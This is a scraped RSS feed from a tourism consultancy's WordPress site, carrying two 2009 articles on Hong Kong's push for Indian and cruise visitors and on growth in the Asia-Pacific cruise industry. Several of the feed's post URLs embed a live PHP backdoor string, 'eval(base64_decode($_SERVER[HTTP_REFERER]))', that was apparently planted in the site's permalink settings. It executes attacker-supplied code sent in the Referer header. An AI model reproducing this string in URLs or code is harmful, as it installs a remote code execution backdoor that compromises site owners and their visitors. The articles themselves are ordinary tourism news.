Royal Intel - Tourism Intelligence Consultants » Cruises http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Hong Kong Sets Eyes on India’s Leisure and Cruise Segment Potentials http://royalintel.com/2009/10/29/hong-kong-sets-eyes-on-indias-leisure-and-cruise-segment-potentials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/10/29/hong-kong-sets-eyes-on-indias-leisure-and-cruise-segment-potentials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Oct 2009 07:42:18 +0000 Lara http://royalintel.com/2009/10/29/hong-kong-sets-eyes-on-indias-leisure-and-cruise-segment-potentials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Hong Kong is looking at focused at promoting cruise vacations. In this regard, the semi-autonomous state is embarking at developing a new cruise terminal with an investment of HKD 7.2 billion with operations set to start in 2013. With this new terminal, the berth is expected to handle two mega vessels with facilities like immigrations, shopping, dining and entertainment etc, and where this new terminal and homeport will act as an added benefit to Hong Kong as a choice destination.
According to the Commissioner for Tourism, The Government of the Hong Kong Special Administrative Region, Margaret Fong, there are already about 20 confirmed sailings from Hong Kong to Taiwan for itineraries of five night, six days and four nights, five days and as well as new vessels home porting. The minister enthuses that the overall investments made in the State’s tourism industry will definitely attract visitors from different countries, more so visitors from India. Indeed Hong Kong is aggressively looking at tapping the outbound segment from India by targeting the leisure and family, MICE and cruise segments. The overall strategy espoused by the Tourism Ministry of Hong Kong is to promote the destination aggressively in short haul destinations like India, Russia and Mainland China because that is where growth potentials exist.

In reference to India, the Commissioner for Tourism notes the dip of 3.5% in Indian visitors, but where that is rapidly changing as travel sentiments are beginning to re-surface hence the targeting of leisure and cruise segments for the India market. From the year 2005 to 2008, the family segment for Hong Kong has witnessed 40% growth. To promote the destination in the Indian market, the stake holders of the tourism industry are incurring significant amount of investments to attract visitors. Disneyland Hong Kong, for instance, already offers four different theme lands within the park and is in the process of adding three more which are likely to start operations in the next three to four years. Other attractions such as Ocean Park and Ng Ping 360 are also adding more attractions within for the family, leisure and also the MICE markets.

Hong Kong is also looking at attracting tourists through international signature events in the city. For this, Hong Kong Tourism Board’s Executive Director, Anthony Lau, notes that a fund for mega events worth HKD 100 million has been set up in order to help attract non profitable organizations to aide in organizing such events within the realms of art, culture and sports. Estimates already note that visitor arrivals to Hong Kong reached 2,250,718 in September 2009, 2.5% more than in the same period last year. Cumulatively, arrivals from January to September totaled 21,159,973, with the year-to-date shortfall further improved from -3.4% in August to -2.8% in September. The increase in arrivals in September was mainly driven by continued gain in Mainland China, as well as seasonal growth in South and Southeast Asia.

Source: TravelBiz monitor.com at www.travelbizmonitor.com

]]> http://royalintel.com/2009/10/29/hong-kong-sets-eyes-on-indias-leisure-and-cruise-segment-potentials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Vital Tips Provided for the Cruise Industry in Asia Pacific http://royalintel.com/2009/08/25/vital-tips-provided-for-the-cruise-industry-in-asia-pacific/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/25/vital-tips-provided-for-the-cruise-industry-in-asia-pacific/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 26 Aug 2009 01:27:50 +0000 Lara http://royalintel.com/2009/08/25/vital-tips-provided-for-the-cruise-industry-in-asia-pacific/
Destinations across the Asia Pacific are indeed highly dependent upon cruise ship arrivals to boost tourism revenues and provide much-needed income to local economies and communities. The industry has however of late been striving to adapt to the changing market conditions brought on by the global economic downturn and H1N1 pandemic.

According to the Chief Executive of South Pacific Travel, Tony Everitt, the South Pacific Islands are expecting 1.4 million annual arrivals by air this year and almost 1 million annual arrivals by sea. It is reported that the first green shoots of recovery in the region’s travel industry where beginning to appear and where cruising was becoming popular among a broader range of age groups. The CEO however highlighted that many areas within the cruise industry in the Asia Pacific region needed improvement particularly on the quality and variety of creative shore excursions as well as safety, security and duty of care to passengers during on land excursions. According to the CEO, it is important to develop community level interaction to enhance and benefit from visitors desire to engage with the local during their on shore excursions.

The CEO justifies his assertion based on the exemplary case example of Suva in Fiji where locals provide a personal touch to the cruise ship visitor’s experience. Indeed, every cruise ship which docks in Suva’s harbor is greeted by a police marching band and the city’s mayor. Other suggested areas which need improvement in the industry include Marine Infrastructure, Management and Marketing. Vice President of Chongqing New Century Cruises Co. Ltd, Mr. Ye Hua, provided the company’s example in its effort to harness the myriad of opportunities arising from improved infrastructure, management and marketing practices within the industry. The VP noted the company’s launch of new generation Yangtze/New River cruises which has seen the upgrading of the company’s fleet to meet a new standard for new generation luxury river cruisers.

Vessels have had their lobby areas upgraded and they also feature midship Observation Elevators from decks 1 to decks 5, which provide unparalleled views of the Yangtze. The cruise cabin size has also been expanded from 9sm-16sqm to spacious cabins with private balconies ranging from 22sqm up to 74sqm. Mr. Hua notes that the case example of Chongqing New Century Cruises Co. Ltd illustrates the new opportunities for the cruise industry in the Asia Pacific region, adding that in recent years, China has become a more important destination for international visitors with cruising on the Yangtze river regarded as one of the two earliest Chinese golden travel routes promoted in the overseas market. The VP assures that passengers taking a new generation river cruise on the Yangtze will be in for an unforgettable experience. The VP is optimistic of the big potential for the market in the future due to what he asserts are the new opportunities arising in the cruise industry every day.

Asia currently holds a 5% share of the world’s cruise market with the Asia Pacific region expected to be the next growth area in the cruise industry, not only through providing new destinations for cruise passengers from the Western markets, but also by being a new source of cruise passengers. In fact, cruise passengers in the Asia Pacific region are projected to grow by more than 40% from 1.07 million in 2005 to 1.5 million by 2010, and reaching 2 million in 2015. With an untapped potential, the ASEAN Cruise Working Group has on its part been working towards providing relevant training for travel agents to equip them with the vital cruise product knowledge more so with the launch of a cruise portal (www.cruiseasean.com) at the annual Seatrade Cruise Shipping Convention held in Miami in 2007. The portal aims to introduce Asia as a cruise destination to the global cruise industry as well as passengers new to the region.

Source: e-Travel Blackboard at www.etravelblackboard.com

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